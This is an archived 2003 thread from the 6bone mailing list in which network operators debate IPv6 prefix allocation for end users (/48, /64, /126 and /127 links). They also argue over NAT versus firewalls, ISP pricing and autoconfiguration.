> > > you
> > > > > allocated the whole /64.
> > > >
> > > > I suggest you stick to IPv4 and NAT. And no I don't mean that sarcastic.
> > > >
> > > > If you want to sell 'single-user' products then count their
> > > > bandwidth usage. Or are you getting your IP's from your transit provider?
> > > > Transit providers charge you for bandwidth consumption.
> > > > So should you. If you have no intention of selling them internet access
> > > > then why call yourself an ISP at all ?
> > > >
> > > > "single-user products" as you call it are the biggest reasons why
> > > > we have those awfull NAT's today. And how many users are behind
> > > > that NAT even though you just gave them 1 IPv4 address? LOTS.
> > > >
> > > > > >The standard *is* /64 (the RFC says so).  Just to clarify.
> > > > >
> > > > > RFC's are voidable when the majority says so.
> > > >
> > > > I suggest you stay away from IPv6 as you don't have any intention
> > > > of using it for the biggest reason: End to End connectivity.
> > > >
> > > > Greets,
> > > >  Jeroen
> > > >
> > > > -----BEGIN PGP SIGNATURE-----
> > > > Version: Unfix PGP for Outlook Alpha 13 Int.
> > > > Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
> > > >
> > > > iQA/AwUBP5mjyimqKFIzPnwjEQJh0ACgqwnnDvq7+GNXUJrD+YF09+hRZ3MAn3J3
> > > > SradMGIvvzzigNYLni4vF04n
> > > > =2WmW
> > > > -----END PGP SIGNATURE-----
> > > >
> > > > _______________________________________________
> > > > 6bone mailing list
> > > > 6bone@mailman.isi.edu
> > > > http://mailman.isi.edu/mailman/listinfo/6bone
> > > 
> > > 
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone

From haesu@mx01.bos.ma.towardex.com Sat Oct 25 02:49:43 2003
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To: Tim Chown <tjc@ecs.soton.ac.uk>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Sat, Oct 25, 2003 at 10:30:34AM +0100, Tim Chown wrote:
> Yes, but a home user will want multiple subnets, so the number of addresses
> per subnet isn't the issue.

Yes that's true. Although /64 shoudl allow them to allocate /80 but that's rather against the standard, and would be just wrong :) as /64 is smallest one should give out due to it being the local site prefix.

> The common RIR policy recommends a /48 per site.
> http://www.ripe.net/ripe/docs/ipv6policy.html
> also RFC3177.
> 
> If your ISP wishes to apply IPv4 thinking to IPv6 services, I suspect there
> will be enough IPv6 ISPs that do give recommended allocations such that
> noone will come to you for an IPv6 service when the alternative is better
> elsewhere?
> 
> Noone will force you to allocate more than a /64.   The market will decide
> in due course what is the norm.

I'll have to agree.. We are just not sure yet as to how things will turn out in the market, so I guess for now we should go with what RFC recommends.

-hc

-- 
Haesu C.
TowardEX Technologies, Inc.
Consulting, colocation, web hosting, network design and implementation
http://www.towardex.com | haesu@towardex.com
Cell: (978)394-2867     | Office: (978)263-3399 Ext. 170
Fax: (978)263-0033      | POC: HAESU-ARIN

> 
> Tim
> 
> On Sat, Oct 25, 2003 at 05:21:43AM -0400, Haesu wrote:
> > I understand the need to promote IPv6, and I understand the whole point of IPv6 is to provide fullblown end-to-end connectivity by having more than enough addresses everywhere..
> > 
> > But a /48 for a home network?.. i dunno..
> > 
> > I think /64 for a home network is far more than enough and reasonable.
> > Likewise, we hand off /64's to endusers, for those who want more, may be /60 or if requested, /48...
> > 
> > Feel free to correct me if my math is wrong but I believe /64 offs 18446744073709551616 addresses which is far more than the entire space IPv4 technology itself can offer.
> > 
> > I wanna see a single home user who will actually *use* even 50% of 18446744073709551616 addresses.
> > Start assigning IP's to every object in your house... i.e. fridge, watch, clock, cell phone, 3g, TV, playstation, computers, lights, microwave, coffeemaker, toilet, etc etc, etc et al. and I doubt even with all that, it comes close to half of 18446744073709551616.
> > 
> > Isn't assigning /48 to end users a bit over excessive you think? Or is the whole point of IPv6 "Let's waste address space until we run out it and panic later on.."?
> > 
> > -hc
> > 
> > -- 
> > Haesu C.
> > TowardEX Technologies, Inc.
> > Consulting, colocation, web hosting, network design and implementation
> > http://www.towardex.com | haesu@towardex.com
> > Cell: (978)394-2867     | Office: (978)263-3399 Ext. 170
> > Fax: (978)263-0033      | POC: HAESU-ARIN
> > 
> > On Sat, Oct 25, 2003 at 09:14:37AM +0100, Tim Chown wrote:
> > > As an ISP you can allocate whatever you like.
> > > 
> > > There will be enough ISPs offering homes /48's and certainly /64's that
> > > those that offer a /126 will simply lose business to the more forward
> > > looking suppliers.
> > > 
> > > Customers who think NAT=security can continue to use IPv4.  Noone is forcing
> > > them to use IPv6.
> > > 
> > > Yes I do think every home LAN should get a /48, and a static one.  That
> > > means the ISP needs a lot more than a /32 though.
> > > 
> > > Tim
> > > 
> > > On Sat, Oct 25, 2003 at 11:30:45AM +1000, Dan Reeder wrote:
> > > > I think you've misinterpreted his comments Jeroen
> > > > To me it merely meant a /126 ("single user endpoint") as a means to reach a
> > > > customer's /48 or /64 prefix. That seems perfectly acceptable for standard
> > > > single-homed subnets. There's no intention of things becomming like NAT...
> > > > its just intended to be the equivilant of ipv4 /30s
> > > > Of course you'd increase it to perhaps /112 if the customer wanted their
> > > > subnet to be multihomed, or perhaps use  the existing /126 with a new /126.
> > > > 
> > > > It's not that we dont get the subject, indeed I think we do - its just that
> > > > goign to extremes such as saying /64s MUST be used for ptp links because an
> > > > RFC says so seems a little excessive. Certianly from a tunnel broker's
> > > > perspective we'd prefer to assign something quite small (/127s as we've been
> > > > doing - that may change to /126s or /112s after this thread) for the ptp
> > > > tunnelling, and then a larger block eg /64 or /48 for their own LAN routing.
> > > > 
> > > > But what happens when you do have a single user without a LAN of their own
> > > > wanting ipv6 access? Assigning a /64 would not be of any more benefit to
> > > > them over assigning a /128. Or do you reckon every user in the world (eg
> > > > dialup, home dsl) should be assigned a /64 via something like PPP in the off
> > > > chance they do want to some subnetting?
> > > > 
> > > > Dan Reeder
> > > > tb.ipv6.net.au
> > > > 
> > > > ----- Original Message ----- 
> > > > From: "Jeroen Massar" <jeroen@unfix.org>
> > > > To: "'J?rgen Hovland'" <jorgen@hovland.cx>; "'Pekka Savola'"
> > > > <pekkas@netcore.fi>; "'Gert Doering'" <gert@space.net>
> > > > Cc: <6bone@ISI.EDU>
> > > > Sent: Saturday, October 25, 2003 8:12 AM
> > > > Subject: RE: [6bone] Is minimum allocation /64 now?
> > > > 
> > > > 
> > > > > -----BEGIN PGP SIGNED MESSAGE-----
> > > > >
> > > > > J?rgen Hovland wrote:
> > > > >
> > > > > > I'll give it a try.
> > > > > > "Anonymous P2P-connections"
> > > > > > If you use a /64 and give the peer an ip address, you have no
> > > > > > guarantee it will be using that address, or only that address, because
> > > > you
> > > > > > allocated the whole /64.
> > > > >
> > > > > I suggest you stick to IPv4 and NAT. And no I don't mean that sarcastic.
> > > > >
> > > > > If you want to sell 'single-user' products then count their
> > > > > bandwidth usage. Or are you getting your IP's from your transit provider?
> > > > > Transit providers charge you for bandwidth consumption.
> > > > > So should you. If you have no intention of selling them internet access
> > > > > then why call yourself an ISP at all ?
> > > > >
> > > > > "single-user products" as you call it are the biggest reasons why
> > > > > we have those awfull NAT's today. And how many users are behind
> > > > > that NAT even though you just gave them 1 IPv4 address? LOTS.
> > > > >
> > > > > > >The standard *is* /64 (the RFC says so).  Just to clarify.
> > > > > >
> > > > > > RFC's are voidable when the majority says so.
> > > > >
> > > > > I suggest you stay away from IPv6 as you don't have any intention
> > > > > of using it for the biggest reason: End to End connectivity.
> > > > >
> > > > > Greets,
> > > > >  Jeroen
> > > > >
> > > > > -----BEGIN PGP SIGNATURE-----
> > > > > Version: Unfix PGP for Outlook Alpha 13 Int.
> > > > > Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
> > > > >
> > > > > iQA/AwUBP5mjyimqKFIzPnwjEQJh0ACgqwnnDvq7+GNXUJrD+YF09+hRZ3MAn3J3
> > > > > SradMGIvvzzigNYLni4vF04n
> > > > > =2WmW
> > > > > -----END PGP SIGNATURE-----
> > > > >
> > > > > _______________________________________________
> > > > > 6bone mailing list
> > > > > 6bone@mailman.isi.edu
> > > > > http://mailman.isi.edu/mailman/listinfo/6bone
> > > > 
> > > > 
> > > > _______________________________________________
> > > > 6bone mailing list
> > > > 6bone@mailman.isi.edu
> > > > http://mailman.isi.edu/mailman/listinfo/6bone
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From rmk@arm.linux.org.uk Sat Oct 25 02:51:17 2003
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Date: Sat, 25 Oct 2003 10:50:55 +0100
From: Russell King <rmk@arm.linux.org.uk>
To: Haesu <haesu@towardex.com>
Cc: Tim Chown <tjc@ecs.soton.ac.uk>, 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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References: <008201c39a7b$e91fb4d0$210d640a@unfix.org> <005401c39a97$9d2a2530$0200a8c0@dryad> <20031025081437.GA15310@login.ecs.soton.ac.uk> <20031025092143.GA71215@scylla.towardex.com>
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Please wrap your messages before character 70 - it makes both reading
_and_ quoting extremely painful unless you do.

On Sat, Oct 25, 2003 at 05:21:43AM -0400, Haesu wrote:
> I understand the need to promote IPv6, and I understand the whole point of IPv6 is to provide fullblown end-to-end connectivity by having more than enough addresses everywhere..
> 
> But a /48 for a home network?.. i dunno..
> 
> I think /64 for a home network is far more than enough and reasonable.
> Likewise, we hand off /64's to endusers, for those who want more, may be /60 or if requested, /48...
> 
> Feel free to correct me if my math is wrong but I believe /64 offs 18446744073709551616 addresses which is far more than the entire space IPv4 technology itself can offer.
> 
> I wanna see a single home user who will actually *use* even 50% of 18446744073709551616 addresses.
> Start assigning IP's to every object in your house... i.e. fridge, watch, clock, cell phone, 3g, TV, playstation, computers, lights, microwave, coffeemaker, toilet, etc etc, etc et al. and I doubt even with all that, it comes close to half of 18446744073709551616.
> 
> Isn't assigning /48 to end users a bit over excessive you think? Or is the whole point of IPv6 "Let's waste address space until we run out it and panic later on.."?

Somewhere in the above message you mentioned that you think /64 is
excessive.  Have you taken the time to look at why /64 is recommended,
and how addresses get allocated inside a /64 ?

It's all to do with automatic configuration rather than manual setup
of IP addresses.  With a /64 you can just connect an IPv6 enabled
machine to the network and it will automatically configure its IPv6
address and routing to suit that network.

How many people, who still have difficulty setting their video recorders,
are going to be able to work out how to correctly configure their network
addresses and correct routing?

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:  2.6 PCMCIA      - http://pcmcia.arm.linux.org.uk/
                 2.6 Serial core

From haesu@mx01.bos.ma.towardex.com Sat Oct 25 02:55:51 2003
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From: Haesu <haesu@towardex.com>
To: Russell King <rmk@arm.linux.org.uk>, 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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> 
> Somewhere in the above message you mentioned that you think /64 is
> excessive.

I never said /64 is excessive. I said /48 might be.

>  Have you taken the time to look at why /64 is recommended,
> and how addresses get allocated inside a /64 ?

You think I don't know?
I've read the standards. And I said assigning smaller than /64
would be *wrong* didn't I? May be that gives you a hint that I
do understand and in fact *use* rtadv.

> 
> It's all to do with automatic configuration rather than manual setup
> of IP addresses.  With a /64 you can just connect an IPv6 enabled
> machine to the network and it will automatically configure its IPv6
> address and routing to suit that network.

Read above.

> 
> How many people, who still have difficulty setting their video recorders,
> are going to be able to work out how to correctly configure their network
> addresses and correct routing?

This is not the context of my post.
I am saying /48 may be a little excessive to a home user.
I never said /64 is.

-hc

-- 
Haesu C.
TowardEX Technologies, Inc.
Consulting, colocation, web hosting, network design and implementation
http://www.towardex.com | haesu@towardex.com
Cell: (978)394-2867     | Office: (978)263-3399 Ext. 170
Fax: (978)263-0033      | POC: HAESU-ARIN

> 
> -- 
> Russell King
>  Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
>  maintainer of:  2.6 PCMCIA      - http://pcmcia.arm.linux.org.uk/
>                  2.6 Serial core


From jeroen@unfix.org Sat Oct 25 03:23:41 2003
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Dan Reeder [mailto:dan@reeder.name] wrote:

> I think you've misinterpreted his comments Jeroen

I quote:
"Single-user products are the most obviously ones."

"Many ISP's charge for extra ip addresses, and they dont do it just because
they have to type in 3 commands on their router. NAT gives a certain ammount
of security for end-users."

1 user, not 1 endsite, not 1 ptp tunnel.
If it where a "enduser product" there would be going
a /48 to that enduser.

That simply is requiring the user to NAT and not giving
them full internet access. NAT as 'security' is bullshit
If you want to give them 'security' then offer a standard
firewalling service like many ISP's do. And of course if
you do offer it also offer the option to turn it off for
the clued people.

> To me it merely meant a /126 ("single user endpoint") as a 
> means to reach a customer's /48 or /64 prefix.

He never said no such thing. Though others are talking about it.
Remember "single user" product, not "multi appliance product".
Next to that he waived the idea for counting bandwidth.

> That seems perfectly acceptable for standard
> single-homed subnets.

I would not mind seeing that happen and it is something that
IPng has beeing doing using /127's. All the other POPs in
SixXS are using /64's though. Basically every POP has a /40
and there come 254 subnets (/48's) and one /48 is carved up
into /64's for endusers. When the first /40 runs out we just
use the next one... and the next one... Ofcourse one could
easily plan that much bigger.

> There's no intention of things becomming like NAT...
> its just intended to be the equivilant of ipv4 /30s
> Of course you'd increase it to perhaps /112 if the customer 
> wanted their subnet to be multihomed, or perhaps use
> the existing /126 with a new /126.

Why would 'multihoming' change your allocation length?

> It's not that we dont get the subject, indeed I think we do - 
> its just that goign to extremes such as saying /64s MUST be used for ptp 
> links because an RFC says so seems a little excessive.

Nobody requires one to do that, but it is insane when
one is limitting endusers to one IPv6 address and that
was what the above was about.

If he would say 'we give them a /126 and if they ask for
it we route a /48 to it' then that would be fine.
But they are limitting users to 1 IP address for the sole
purpose of asking more money for multiple IP addresses.
They should charge bandwidth, IP's are *not* the scarce
resource in IPv6. Also they are paying their upstream
for bandwidth not for IP addresses like I mentioned before.

> Certianly from a tunnel broker's perspective we'd prefer
> to assign something quite small (/127s as we've been
> doing - that may change to /126s or /112s after this thread) 
> for the ptp tunnelling, and then a larger block eg /64 or /48
> for their own LAN routing.

One should really stay away from /127's, when people started
upgrading to Linux 2.4.21+ they suddenly had anycast and
suddenly they where offline as they routed the POP endpoint
to localhost, well they didn't, the kernel did.
Using two /128's solves that problem, check our forums for
the long discussions and confusions :)

But indeed, a /126 or /112 or everything not /127 and then
routing a subnet to that enduser is perfect, you give them
the connectivity they expect and they can plug in and go.

From the mouth of Timothy Lowe (RIPE NCC):
"if you suspect that there will be more than one subnet
at the endsite, give them a /48"

As wireless networks next to the ethernet LAN's common
in most homes make most endsites multi-netted give them a /48.
It also saves on administrative hassles:
"what should we give to that user a /64 or a /48"
"they have a /64 but are getting wireless, now need to renumber"
"..."

Ofcourse a TB is something different, but why shouldn't you.
Charge them if they use a lot of bandwidth.
Those are IP's are basically free for you too...

> But what happens when you do have a single user without a LAN 
> of their own wanting ipv6 access?
> Assigning a /64 would not be of any more benefit to
> them over assigning a /128.

You are talking Point To Point links here, not the subnet
that is, seperatly, routed to that enduser.

> Or do you reckon every user in 
> the world (eg dialup, home dsl) should be assigned a /64 via
> something like PPP in the off chance they do want to some subnetting?

One should *not* use any other IP's in a PtP link ofcourse.
Route them a *seperate* subnet.

Greets,
 Jeroen

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Haesu wrote:

> I understand the need to promote IPv6, and I understand the 
> whole point of IPv6 is to provide fullblown end-to-end 
> connectivity by having more than enough addresses everywhere..
> 
> But a /48 for a home network?.. i dunno..
>
> I think /64 for a home network is far more than enough and reasonable.
> Likewise, we hand off /64's to endusers, for those who want 
> more, may be /60 or if requested, /48...

Funny administrativia you are going to do.
Also if they move from another ISP to yours they suddenly
are getting a much smaller block?

The global TLA allocation is done on the assumption that
you have 200 endsites under your TLA.

If you get a standard /32, you have 2^16 = 65535 /48's
If you need more, aka you run out, just request a bigger TLA.

> Feel free to correct me if my math is wrong but I believe /64 
> offs 18446744073709551616 addresses which is far more than 
> the entire space IPv4 technology itself can offer.

But you are calculating the wrong thing.
A link gets a /64, thus there is a possiblity that a endsite
(I am not talking users/homes here, these could be companies)
put up 64-48 -> 2^16 = 65535 subnets.

And in that subnet you can plug basically anything you like.
Indeed there are going to be a lot of IP's being unused.

> I wanna see a single home user who will actually *use* even 
> 50% of 18446744073709551616 addresses.

I do, as I got two subnets here:
2 * (2^64) = 36893488147419103232 IP's in use.

And I can plugin *any* apparatus in both my wired and
my wireless network and tadaaaaaa it WORKS, global connectivity!!!!!! :)

> Start assigning IP's to every object in your house... i.e. 
> fridge, watch, clock, cell phone, 3g, TV, playstation, 
> computers, lights, microwave, coffeemaker, toilet, etc etc, 
> etc et al. and I doubt even with all that, it comes close to 
> half of 18446744073709551616.

You are assuming IPv4 style addressing, don't think like that.
There are 65535 subnets per endsite.

You have to realize that in the future it might be that a
house gets totally routed, eg subnets for:
 - the kitchen
 - the living room
 - the first floor
 - the second floor
 - the toilet
 - the molly's room
 - the johnny's room
 - ...

Don't think in IPv4 style, preservative, allocation, please...

> Isn't assigning /48 to end users a bit over excessive you 
> think? Or is the whole point of IPv6 "Let's waste address 
> space until we run out it and panic later on.."?

Please read: http://www.faqs.org/rfcs/rfc3194.html

If you feel the pain already... wow :)

Greets,
 Jeroen

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From jorgen@hovland.cx Sat Oct 25 04:11:57 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
Date: Sat, 25 Oct 2003 12:11:35 +0100
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>From: "Jeroen Massar" <jeroen@unfix.org>
> Dan Reeder [mailto:dan@reeder.name] wrote:
>
> > I think you've misinterpreted his comments Jeroen
>
> 1 user, not 1 endsite, not 1 ptp tunnel.
> If it where a "enduser product" there would be going
> a /48 to that enduser.
>
> > To me it merely meant a /126 ("single user endpoint") as a
> > means to reach a customer's /48 or /64 prefix.

Yes. P2P/Single user: A media used by only 1 machine (+ the remote).
My intentions are not to restrict the customer from recieving a /64 for the
LAN behind the P2P link, but to hand out a /64 per machine or device that
should never have more than 1 machine. That's why I asked if we need to use
ip filter in the future.

> That simply is requiring the user to NAT and not giving
> them full internet access. NAT as 'security' is bullshit
> If you want to give them 'security' then offer a standard
> firewalling service like many ISP's do. And of course if
> you do offer it also offer the option to turn it off for
> the clued people.

You got to be joking?  NAT adds security. We do not even need to discuss
that.
"Standard firewalling" means NAT for very many. In almost all cases when a
customer of ours ask for  firewall, thats what they get from us because
thats what they meant.
I'm not saying that NAT is good, but thats what the majority use where I
come from.

Joergen Hovland ENK


From haesu@mx01.bos.ma.towardex.com Sat Oct 25 04:14:38 2003
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Date: Sat, 25 Oct 2003 07:14:58 -0400
From: Haesu <haesu@towardex.com>
To: Jeroen Massar <jeroen@unfix.org>, 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
Message-ID: <20031025111458.GA75213@scylla.towardex.com>
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Yea, more subnets do make sense.. I agree with you on that :)

I can just imagine people having a core router in the basement of their house to route subnets all over their house hhehe 

-hc

-- 
Haesu C.
TowardEX Technologies, Inc.
Consulting, colocation, web hosting, network design and implementation
http://www.towardex.com | haesu@towardex.com
Cell: (978)394-2867     | Office: (978)263-3399 Ext. 170
Fax: (978)263-0033      | POC: HAESU-ARIN

On Sat, Oct 25, 2003 at 01:07:58PM +0200, Jeroen Massar wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Haesu wrote:
> 
> > I understand the need to promote IPv6, and I understand the 
> > whole point of IPv6 is to provide fullblown end-to-end 
> > connectivity by having more than enough addresses everywhere..
> > 
> > But a /48 for a home network?.. i dunno..
> >
> > I think /64 for a home network is far more than enough and reasonable.
> > Likewise, we hand off /64's to endusers, for those who want 
> > more, may be /60 or if requested, /48...
> 
> Funny administrativia you are going to do.
> Also if they move from another ISP to yours they suddenly
> are getting a much smaller block?
> 
> The global TLA allocation is done on the assumption that
> you have 200 endsites under your TLA.
> 
> If you get a standard /32, you have 2^16 = 65535 /48's
> If you need more, aka you run out, just request a bigger TLA.
> 
> > Feel free to correct me if my math is wrong but I believe /64 
> > offs 18446744073709551616 addresses which is far more than 
> > the entire space IPv4 technology itself can offer.
> 
> But you are calculating the wrong thing.
> A link gets a /64, thus there is a possiblity that a endsite
> (I am not talking users/homes here, these could be companies)
> put up 64-48 -> 2^16 = 65535 subnets.
> 
> And in that subnet you can plug basically anything you like.
> Indeed there are going to be a lot of IP's being unused.
> 
> > I wanna see a single home user who will actually *use* even 
> > 50% of 18446744073709551616 addresses.
> 
> I do, as I got two subnets here:
> 2 * (2^64) = 36893488147419103232 IP's in use.
> 
> And I can plugin *any* apparatus in both my wired and
> my wireless network and tadaaaaaa it WORKS, global connectivity!!!!!! :)
> 
> > Start assigning IP's to every object in your house... i.e. 
> > fridge, watch, clock, cell phone, 3g, TV, playstation, 
> > computers, lights, microwave, coffeemaker, toilet, etc etc, 
> > etc et al. and I doubt even with all that, it comes close to 
> > half of 18446744073709551616.
> 
> You are assuming IPv4 style addressing, don't think like that.
> There are 65535 subnets per endsite.
> 
> You have to realize that in the future it might be that a
> house gets totally routed, eg subnets for:
>  - the kitchen
>  - the living room
>  - the first floor
>  - the second floor
>  - the toilet
>  - the molly's room
>  - the johnny's room
>  - ...
> 
> Don't think in IPv4 style, preservative, allocation, please...
> 
> > Isn't assigning /48 to end users a bit over excessive you 
> > think? Or is the whole point of IPv6 "Let's waste address 
> > space until we run out it and panic later on.."?
> 
> Please read: http://www.faqs.org/rfcs/rfc3194.html
> 
> If you feel the pain already... wow :)
> 
> Greets,
>  Jeroen
> 
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From tjc@ecs.soton.ac.uk Sat Oct 25 04:22:22 2003
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Date: Sat, 25 Oct 2003 12:22:18 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Sat, Oct 25, 2003 at 05:50:03AM -0400, Haesu wrote:
> On Sat, Oct 25, 2003 at 10:30:34AM +0100, Tim Chown wrote:
> > Yes, but a home user will want multiple subnets, so the number of addresses
> > per subnet isn't the issue.
> 
> Yes that's true. Although /64 shoudl allow them to allocate /80 but that's rather against the standard, and would be just wrong :) as /64 is smallest one should give out due to it being the local site prefix.

It is the smallest mainly because of stateless autoconif requiring /64 (see
RFC2462).   Stateless autoconf requires this.

> I'll have to agree.. We are just not sure yet as to how things will turn out in the market, so I guess for now we should go with what RFC recommends.

Sure, maybe /64 will become a norm (it is at least a lot better than the IPv4
situation, especially given the "1 user" stipulation of many DSL providers).

I hope /56 or better /48 wins though :)

Tim

From jeroen@unfix.org Sat Oct 25 04:29:14 2003
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To: "'Haesu'" <haesu@towardex.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] Is minimum allocation /64 now?
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-----BEGIN PGP SIGNED MESSAGE-----

Haesu [mailto:haesu@towardex.com] wrote:
> Yea, more subnets do make sense.. I agree with you on that :)
> 
> I can just imagine people having a core router in the 
> basement of their house to route subnets all over their house hhehe 

No, I don't either, at least not soon.
But did we expect the spanish inquisition... ehhmmm 
Did we expect to have such a global internet in the 1970's ?
Did we expect computers to become so popular?
Did we expect ...

Unless someone gets us a real fortuneteller we can't expect anything.

Greets,
 Jeroen

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From jeroen@unfix.org Sat Oct 25 04:34:15 2003
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Jørgen Hovland [mailto:jorgen@hovland.cx] wrote:

> >From: "Jeroen Massar" <jeroen@unfix.org>
> > Dan Reeder [mailto:dan@reeder.name] wrote:
> >
> > > I think you've misinterpreted his comments Jeroen
> >
> > 1 user, not 1 endsite, not 1 ptp tunnel.
> > If it where a "enduser product" there would be going
> > a /48 to that enduser.
> >
> > > To me it merely meant a /126 ("single user endpoint") as a
> > > means to reach a customer's /48 or /64 prefix.
> 
> Yes. P2P/Single user: A media used by only 1 machine (+ the remote).

Thus users will do NAT as it is cheaper for most of them than
buying a 'premium' service with "more IP's". Still they will
be using more bandwidth than the one single user and thus they
will cost you more money while paying the "single user" price.
Economics 101 :)

> My intentions are not to restrict the customer from recieving 
> a /64 for the LAN behind the P2P link, but to hand out a /64 per
> machine or device that should never have more than 1 machine. 
> That's why I asked if we need to use ip filter in the future.

That changes the idea, as it is a normal PtP link, thus either:
 - 2x /128
 - something between 64 and 126
 - 1x /64, but:
   - only route the /128 to the otherside
   - filter out the rest of the IP's.
 
For SixXS setup we do the route /128 trick btw...

> > That simply is requiring the user to NAT and not giving
> > them full internet access. NAT as 'security' is bullshit
> > If you want to give them 'security' then offer a standard
> > firewalling service like many ISP's do. And of course if
> > you do offer it also offer the option to turn it off for
> > the clued people.
> 
> You got to be joking?  NAT adds security.

Thank you for entering the hall of shame.
NAT adds obscurity, nothing to do with security.

> We do not even need to discuss that.
> "Standard firewalling" means NAT for very many.

That could be that normal people think that, tech folks should not.
Last time I checked 6bone@isi.edu was a technical kind of list...

> In almost all cases when a customer of ours ask for  firewall,
> thats what they get from us because thats what they meant.

Then educate your customers, the same thing saying that a NAT
box is a router, it is, kinda, but it really isn't when using
the correct terminology.

Or are you going to sell them a IPv6 NAT service when what
they really want is a firewall ? (aka a port and content blocker)

> I'm not saying that NAT is good, but thats what the majority 
> use where I come from.

That's unfortunatly where most people come from indeed.
And it has to stop. Not educating and/or correcting people
keeps them thinking that it is just that.

Greets,
 Jeroen

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From jordi.palet@consulintel.es Sat Oct 25 04:39:36 2003
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Clearly those ISPs that charge for every address, will need to switch the business model, if they want to win new customers, or even
keep the existing users !

Charging for every IPv6 address, must be forbidden, hopefully soon by the RIRs policy.

----- Original Message ----- 
From: "Jørgen Hovland" <jorgen@hovland.cx>
To: "Jeroen Massar" <jeroen@unfix.org>
Cc: <6bone@ISI.EDU>
Sent: Saturday, October 25, 2003 1:56 AM
Subject: RE: [6bone] Is minimum allocation /64 now?


> On Sat, 25 Oct 2003, Jeroen Massar wrote:
>
> > If you want to sell 'single-user' products then count their
> > bandwidth usage. Or are you getting your IP's from your transit provider?
> > Transit providers charge you for bandwidth consumption.
>
> There are ISP's already doing that and there are ISP's totally against
> it.
>
> > So should you. If you have no intention of selling them internet access
> > then why call yourself an ISP at all ?
>
> There are people who do not feel charging by capacity is the proper way to
> do it, but by the ammount of users. There are infact ISP's who do this
> today.
>
> > "single-user products" as you call it are the biggest reasons why
> > we have those awfull NAT's today. And how many users are behind
> > that NAT even though you just gave them 1 IPv4 address? LOTS.
>
> There's a difference between denying a person extra ip addresses and
> giving out a billion without asking if the person needs it.
>
> Many ISP's charge for extra ip addresses, and they dont do it just because
> they have to type in 3 commands on their router. NAT gives a certain ammount
> of security for end-users.
>
> Joergen Hovland ENK
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

**********************************
Madrid 2003 Global IPv6 Summit
Presentations and videos on line at:
http://www.ipv6-es.com

This electronic message contains information which may be privileged or confidential. The information is intended to be for the use of the individual(s) named above. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, including attached files, is prohibited.



From dan@reeder.name Sat Oct 25 07:12:52 2003
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From: "Dan Reeder" <dan@reeder.name>
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>, <6bone@ISI.EDU>
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Subject: Re: [6bone] Is minimum allocation /64 now?
Date: Sun, 26 Oct 2003 00:12:53 +1000
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I'm not sure where things went awry but i've got this feeling that I've been
included in this "charge per ip" lameness.

The problem is that, perhaps because some of us have had to live under the
strong arm of apnic, that the tendency to want to conserve addressing is a
bit of a habit. Personally whenever I see things like /48s being given to
users left right and center I get reminded of the consequences of Stanford
being given a v4 /8 way back in the early days. It just reeks of
wastefulness. Just because we can, and just because some (antiquated?)
documents say so, does that mean we should?

yes most of us will agree that a /48 being given to a 17 year old for use on
his 3-pc lan, but then why is a /64 acceptable? Is the ammount of addresses
included in a /64 really different to a /48 when it comes to practical
operational use?
To me, the whole problem is a bit of a "chicken and egg" cycle. The rfcs and
powers that be say /64 is the minimum primarily because other rfcs have
dictated addressing schemes, and that the autoconfiguration software doesn't
support network prefixes in greater length than /64. But then the
autoconfiguration software developers say they only support  up to /64
beacuse of rfcs!
Why can't someone bite the bullet and just develop a daemon like radvd that
will simply use pretty much any prefix length thrown at it? I've got a /64
on my lan here. If the advertisement software supported it operationally
speaking it would make absolutely ZERO difference if I changed it to /80...
or /112 or even a /120. And I bet it would make almost zero difference to
the majority of the readers on this list (i'm not really talking about ISP
network operations/addressing here though)

I can't help but cringe at the thought of some geek in a few hundred years
time thinking what clowns we all were by greedily taking /64s and /48s for
our kitchens and bedrooms and living rooms and bathrooms.... and I can't
help but think that there will be an IP shortage somewhere in our solar
system similar to what asia pacific is currently suffering under v4.
But ooooh its 128 bits... it'll never run out, especially with properly
monitored and allocated addressing, right fellas? Oh wait. *grumbles
something about /48s assigned to children*

</rant>

Dan Reeder

----- Original Message ----- 
From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@ISI.EDU>
Sent: Saturday, October 25, 2003 9:41 PM
Subject: Re: [6bone] Is minimum allocation /64 now?


> Clearly those ISPs that charge for every address, will need to switch the
business model, if they want to win new customers, or even
> keep the existing users !
>
> Charging for every IPv6 address, must be forbidden, hopefully soon by the
RIRs policy.
>
> ----- Original Message ----- 
> From: "Jørgen Hovland" <jorgen@hovland.cx>
> To: "Jeroen Massar" <jeroen@unfix.org>
> Cc: <6bone@ISI.EDU>
> Sent: Saturday, October 25, 2003 1:56 AM
> Subject: RE: [6bone] Is minimum allocation /64 now?
>
>
> > On Sat, 25 Oct 2003, Jeroen Massar wrote:
> >
> > > If you want to sell 'single-user' products then count their
> > > bandwidth usage. Or are you getting your IP's from your transit
provider?
> > > Transit providers charge you for bandwidth consumption.
> >
> > There are ISP's already doing that and there are ISP's totally against
> > it.
> >
> > > So should you. If you have no intention of selling them internet
access
> > > then why call yourself an ISP at all ?
> >
> > There are people who do not feel charging by capacity is the proper way
to
